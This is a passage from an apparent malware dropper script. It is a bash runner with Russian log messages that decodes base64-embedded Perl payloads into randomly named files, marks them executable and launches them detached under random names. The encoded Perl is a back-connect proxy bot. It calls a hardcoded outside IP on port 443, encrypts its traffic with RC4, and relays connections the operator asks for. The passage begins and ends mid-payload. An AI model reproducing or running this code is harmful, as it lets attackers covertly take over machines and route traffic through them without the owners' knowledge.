b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #8 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #8 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 9 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 